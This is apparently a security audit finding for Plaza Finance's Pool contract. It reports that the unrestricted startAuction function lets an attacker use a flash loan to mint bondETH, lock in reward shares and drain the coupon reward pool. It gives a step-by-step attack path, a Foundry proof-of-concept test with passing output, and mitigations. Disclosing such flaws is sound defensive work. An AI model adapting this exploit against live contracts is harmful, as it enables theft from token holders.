Winning Iron Unicorn

High

# Attacker can drain bondToken reward with flash loan attack

### Summary

Lack of permission check in `Pool.startAuction` will cause bondToken reward pool be drained. Attacker can use flash loan to allocated huge share record in `BondToken.userAssets`, which can be claimed at any time later.

### Root Cause

In [Pool.startAuction](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L530), there is no check for permission. Anyone can call this function with frontrun with correct timing.

At the end of this function, it call `bondToken.increaseIndexedAssetPeriod` to solidify reward from bondToken holding.

```solidity
...
    // Increase the bond token period
    bondToken.increaseIndexedAssetPeriod(sharesPerToken);

    // Update last distribution time
    lastDistribution = block.timestamp;
...
```

```solidity
  function increaseIndexedAssetPeriod(uint256 sharesPerToken) public onlyRole(DISTRIBUTOR_ROLE) whenNotPaused() {
    globalPool.previousPoolAmounts.push(
      PoolAmount({
        period: globalPool.currentPeriod,
        amount: totalSupply(),
        sharesPerToken: globalPool.sharesPerToken
      })
    );
    globalPool.currentPeriod++;
    globalPool.sharesPerToken = sharesPerToken;

    emit IncreasedAssetPeriod(globalPool.currentPeriod, sharesPerToken);
  }
```
Attacker can flash loan a large amount of `reservedToken` and create `bondToken`, then call `startAuction` to solidify reward, and redeem `bondToken` and payback `reservedToken`. All these can be done in one block.


### Internal Pre-conditions

1. Time requirement: `lastDistribution + distributionPeriod < block.timestamp`
2. Time requirement: `lastDistribution + distributionPeriod + auctionPeriod >= block.timestamp`

That is, in another words, auction not started.

3. `IERC20(couponToken).balanceOf(address(distributor) > 0`

That is, there are some bondToken reward in distribution pool.

### External Pre-conditions

1. Attacker can flash loan `reservedToekn`
2. Attacker have enough gas to front-run or sandwich attack in same block.

### Attack Path

1. Attacker create a exploit contract to do following step:
    1. Flash loan a large amount of reserve token `rToken`, say 100 ether
    2. Use 100 ether `rToken` to mint bondETH, say getting 3000 ether `bondETH`
    3. Call `Pool.startAuction`
    4. Redeem 3000 ether `bondETH` to get back 100 ether `rToken`
    5. Payback 100 ether `rToekn` to flash loan contract
2. All above steps should be done in one step, so when last auction period is ended and the timing allow to start the new auction, attacker front-run this exploit function, then he could solidify bondETH reward without actually holding any bondETH.

### Impact

1. Attacker and make up as large as he wants bondETH reward without auctually holding any bondETH.
2. Attacker can drain bondETH reward pool. 
3. All bondETH holders can lose their unclaimed reward.

### PoC

Add following testcase to `test/Pool.t.sol`.
```solidity
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
...
  function testFlashLoanAttack() public {
    vm.startPrank(governance);

    // Create a pool with 2% fee
    params.fee = 20000; // 2% fee (1000000 precision)
    params.feeBeneficiary = address(0x942);

    // Mint and approve reserve tokens
    Token rToken = Token(params.reserveToken);
    rToken.mint(governance, 1000 ether);
    rToken.approve(address(poolFactory), 1000 ether);

    Pool pool = Pool(poolFactory.createPool(params, 1000 ether, 500 ether, 250 ether, "", "", "", "", false));
    pool.setAuctionPeriod(10 days);
    pool.setDistributionPeriod(10 days);

    uint256 rewardPoolAmount = 1.5e35;
    Token couponToken = Token(pool.couponToken());
    couponToken.mint(address(pool), rewardPoolAmount);

    vm.stopPrank();

    // simulate reward distribution
    vm.startPrank(address(pool));
    address distributor = poolFactory.distributors(address(pool));
    IERC20(couponToken).transfer(distributor, rewardPoolAmount);    
    Distributor(distributor).allocate(rewardPoolAmount);
    vm.stopPrank();

    vm.warp(15 days);

    mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

    vm.startPrank(user);
    
    // step1: flash loan a large amount of rToken
    rToken.mint(user, 100 ether);
    rToken.approve(address(pool), 100 ether);

    // step2: mint bondETH
    uint256 bondAmount = pool.create(Pool.TokenType.BOND, 100 ether, 0);
    assertEq(bondAmount, 3000 ether);

    // step3: startAuction without any permision, increase share record
    pool.startAuction();

    // step4: redeem bondETH
    pool.bondToken().approve(address(pool), bondAmount);
    uint256 redeemedAmount = pool.redeem(Pool.TokenType.BOND, bondAmount, 0);
    assertEq(redeemedAmount, 100 ether);
    
    (uint256 currentPeriod,) = Pool(pool).bondToken().globalPool();
    uint256 share = pool.bondToken().getIndexedUserAmount(user, 0, currentPeriod);
    // SUCCESS: share record created
    assertEq(rewardPoolAmount, share);

    // step6: claim reward
    Distributor(distributor).claim();
    assertEq(Token(pool.couponToken()).balanceOf(user), rewardPoolAmount);
    assertEq(Token(pool.couponToken()).balanceOf(distributor), 0);

    // step7: pay back rToken
    rToken.burn(user, rToken.balanceOf(user));
    rToken.burn(address(pool), rToken.balanceOf(address(pool)));

    vm.stopPrank();
  }
```
run `forge test --match-test testFlashLoanAttack -vvv`, the output is like:
```bash
[â †] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Pool.t.sol:PoolTest
[PASS] testFlashLoanAttack() (gas: 4014541)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.63ms (3.15ms CPU time)

Ran 1 test suite in 10.73ms (7.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

1. Only `GOV` role or protocol admin can call `startAuction`.
2. Reconsider and design the reward distribtion mechanism, user should at least hold bondETH for one period to get reward.